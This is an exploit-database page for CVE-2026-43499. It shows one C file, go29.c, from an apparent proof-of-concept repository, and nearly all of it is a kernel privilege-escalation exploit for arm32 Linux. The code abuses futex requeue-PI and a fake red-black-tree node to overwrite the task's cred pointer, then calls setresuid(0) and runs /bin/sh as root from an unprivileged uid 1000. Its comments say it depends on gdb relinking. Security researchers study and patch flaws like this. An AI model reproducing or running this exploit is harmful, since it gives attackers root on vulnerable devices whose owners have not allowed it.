Exploit database

GH-14fb583d3d1bd2da10251bb1a37b93d6

gitchw/ghostlock-cve-2026-43499

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

165 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files354
gitchw/ghostlock-cve-2026-43499Revision 96acd93156f6
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

workspace/qemu/go29.c

C · 6,386 bytes
/* go29: go28 right-child erase writing fake cred ptr into W task->cred (+0x3f8).
 * W comm="root" (comm word at +0x400 = 0x746f6f72, harmless fake rb child).
 * After gdb relink + consumer-triggered adjust_pi chain, W parks then runs
 * setresuid/setresgid + fork execl /bin/sh; expects uid0.
 * Build: arm-linux-gnueabihf-gcc -static -O2 -o go29 go29.c -lpthread
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <pthread.h>
#include <errno.h>
#include <sys/prctl.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <linux/futex.h>
#include <time.h>
#ifndef FUTEX_WAIT_REQUEUE_PI
#define FUTEX_WAIT_REQUEUE_PI 11
#endif
#ifndef FUTEX_CMP_REQUEUE_PI
#define FUTEX_CMP_REQUEUE_PI 12
#endif
#ifndef FUTEX_LOCK_PI
#define FUTEX_LOCK_PI 6
#endif
static uint32_t f_wait, f_pi_target, f_pi_chain;
static volatile int a_ready, a_tid, a_waiting, b_started, consume,
    deadlock_seen, triggered;
static long pi_lock(uint32_t *u){return syscall(SYS_futex,u,FUTEX_LOCK_PI,0,0,0,0);}
__attribute__((noinline)) void gdb_marker(void){ __asm__ __volatile__("bx lr"); }
static void pc(const char*f,...){(void)f;}
static void *waiter_thread(void *arg){
    (void)arg;
    prctl(PR_SET_NAME,"",0,0,0);  /* empty comm => task+0x400 word = 0 (rb leaf) */
    /* attach a SysV sem undo list: task->sysvsem.undo_list (task+0x414) becomes a
       kernel pointer, serving as huge fake rb-node prio at R+0x20 */
    {
        int sid=semget(IPC_PRIVATE,1,IPC_CREAT|0666);
        struct sembuf sb; sb.sem_num=0; sb.sem_op=1; sb.sem_flg=SEM_UNDO;
        if(sid>=0) semop(sid,&sb,1);
    }
    printf("W29 start uid=%d euid=%d\n",getuid(),geteuid()); fsync(1);
    struct timespec now; struct { int32_t sec,nsec; } ts;
    a_tid=(int)syscall(SYS_gettid);
    pi_lock(&f_pi_chain); a_ready=1; usleep(20000);
    clock_gettime(CLOCK_MONOTONIC,&now);
    int64_t ns=now.tv_nsec+500000000;
    ts.sec=(int32_t)(now.tv_sec+ns/1000000000);
    ts.nsec=(int32_t)(ns%1000000000);
    a_waiting=1;
    syscall(SYS_futex,&f_wait,FUTEX_WAIT_REQUEUE_PI,0,&ts,&f_pi_target,0);
    gdb_marker();
    while(!deadlock_seen){ }
    consume=1;
    static uint32_t park;
    struct timespec longts={90,0};
    syscall(SYS_futex,&park,128,0,&longts,0,0);
    /* chain should have swapped task->cred by now */
    #define P(...) do{printf(__VA_ARGS__);fsync(1);}while(0)
    P("W29 getuid=%d euid=%d\n",getuid(),geteuid());
    /* no setresuid in W: real_cred slot (0x3f4) is untouched and commit_creds
       would BUG_ON(real_cred!=cred). The forked CHILD gets a consistent fresh
       cred (copy of C), so it can setresuid(0) then exec root shell. */
    /* raw-syscall diagnostic child (vfork-safe, no stdio/malloc) */
    pid_t p=vfork();
    if(p==0){
        int fd=syscall(SYS_open,"/tmp/diag",O_WRONLY|O_CREAT|O_TRUNC,0666);
        char b[160];
        char*w=b;
        #define APP(s) do{const char*_s=(s);while(*_s)*w++=*_s++;}while(0)
        #define APPD(x) do{int _v=(x);char _t[12];int _n=0;if(_v<0){*w++='-';_v=-_v;}if(!_v)_t[_n++]='0';while(_v){_t[_n++]='0'+_v%10;_v/=10;}while(_n)*w++=_t[--_n];}while(0)
        errno=0; long sr=syscall(SYS_setresuid,0,0,0); int se=errno;
        errno=0; long sg=syscall(SYS_setresgid,0,0,0); int ge=errno;
        APP("sruid=");APPD((int)sr);APP(" e=");APPD(se);
        APP(" srgid=");APPD((int)sg);APP(" e=");APPD(ge);
        APP(" uid=");APPD(getuid());APP(" euid=");APPD(geteuid());
        APP(" gid=");APPD(getgid());APP(" egid=");APPD(getegid());
        APP("\n");
        errno=0; long ax=access("/bin/sh",X_OK); int ae=errno;
        APP("accessX=");APPD((int)ax);APP(" e=");APPD(ae);APP("\n");
        errno=0; long op=syscall(SYS_open,"/bin/sh",0); int oe=errno;
        APP("open=");APPD((int)op);APP(" e=");APPD(oe);APP("\n");
        errno=0;
        syscall(SYS_execve,"/bin/sh",(char*const[]){"sh","-c","id >/tmp/rpA 2>&1;echo OKA>>/tmp/rpA",0},(char*const[]){0});
        int ee=errno;
        APP("execve e=");APPD(ee);APP("\n");
        syscall(SYS_write,1,b,w-b);
        syscall(SYS_write,fd,b,w-b); syscall(SYS_close,fd);
        _exit(200+(ee&0x7f));
    }
    int st=0; waitpid(p,&st,0); P("DIAG st=%x\n",st);
    system("cat /tmp/diag 2>&1");
    system("cat /tmp/rpA 2>&1");
    P("W29DONE\n");
    for(;;){ }
    return NULL;
}
static void *owner_thread(void *arg){
    (void)arg;
    pi_lock(&f_pi_target);
    while(!a_ready) usleep(1000);
    b_started=1;
    pi_lock(&f_pi_chain);
    for(;;) pause();
    return NULL;
}
static void *consumer_thread(void *arg){
    (void)arg;
    while(!a_tid) usleep(1000);
    while(!consume) usleep(2000);
    usleep(2500000);
    struct { uint32_t size,policy; uint64_t flags; int32_t nice;
             uint32_t prio; uint64_t rt,dl,period; } attr;
    memset(&attr,0,sizeof attr);
    attr.size=48; attr.policy=0;
    for(int i=0;i<16;i++){
        attr.nice=1+(i%2);
        syscall(380,a_tid,&attr,0);
        triggered=1;
        usleep(300000);
    }
    for(;;) pause();
    return NULL;
}
int main(void){
    pthread_t th; pthread_attr_t attr;
    setvbuf(stdout,NULL,_IONBF,0);
    if(sizeof(long)!=4){printf("arm32 only\n");return 1;}
    /* drop to unprivileged uid1000 (faithful adb-shell-equivalent start) */
    setresgid(1000,1000,1000); setresuid(1000,1000,1000);
    printf("GO29 start uid=%d euid=%d gid=%d\n",getuid(),geteuid(),getgid()); fsync(1);
    sleep(15); /* let gdb arm breakpoints before topology builds */
    f_wait=f_pi_target=f_pi_chain=0;
    mlockall(MCL_CURRENT|MCL_FUTURE);
    pthread_attr_init(&attr);
    pthread_attr_setstacksize(&attr,1024*1024);
    pthread_create(&th,&attr,owner_thread,NULL); usleep(10000);
    pthread_create(&th,&attr,consumer_thread,NULL);
    pthread_create(&th,&attr,waiter_thread,NULL);
    while(!a_waiting||!b_started) usleep(1000);
    int got=0;
    for(int i=0;i<220;i++){
        errno=0;
        long r=syscall(SYS_futex,&f_wait,FUTEX_CMP_REQUEUE_PI,1,1,&f_pi_target,0);
        int e=errno;
        if(r<0&&e==35){got=1;break;}
        if(r>0) break;
        usleep(5000);
    }
    syscall(SYS_futex,(int*)&f_wait,FUTEX_WAKE,1,0,0,0);
    deadlock_seen=1;
    printf("EDEADLK=%d relink window open\n",got); fsync(1);
    for(;;) pause();
    return 0;
}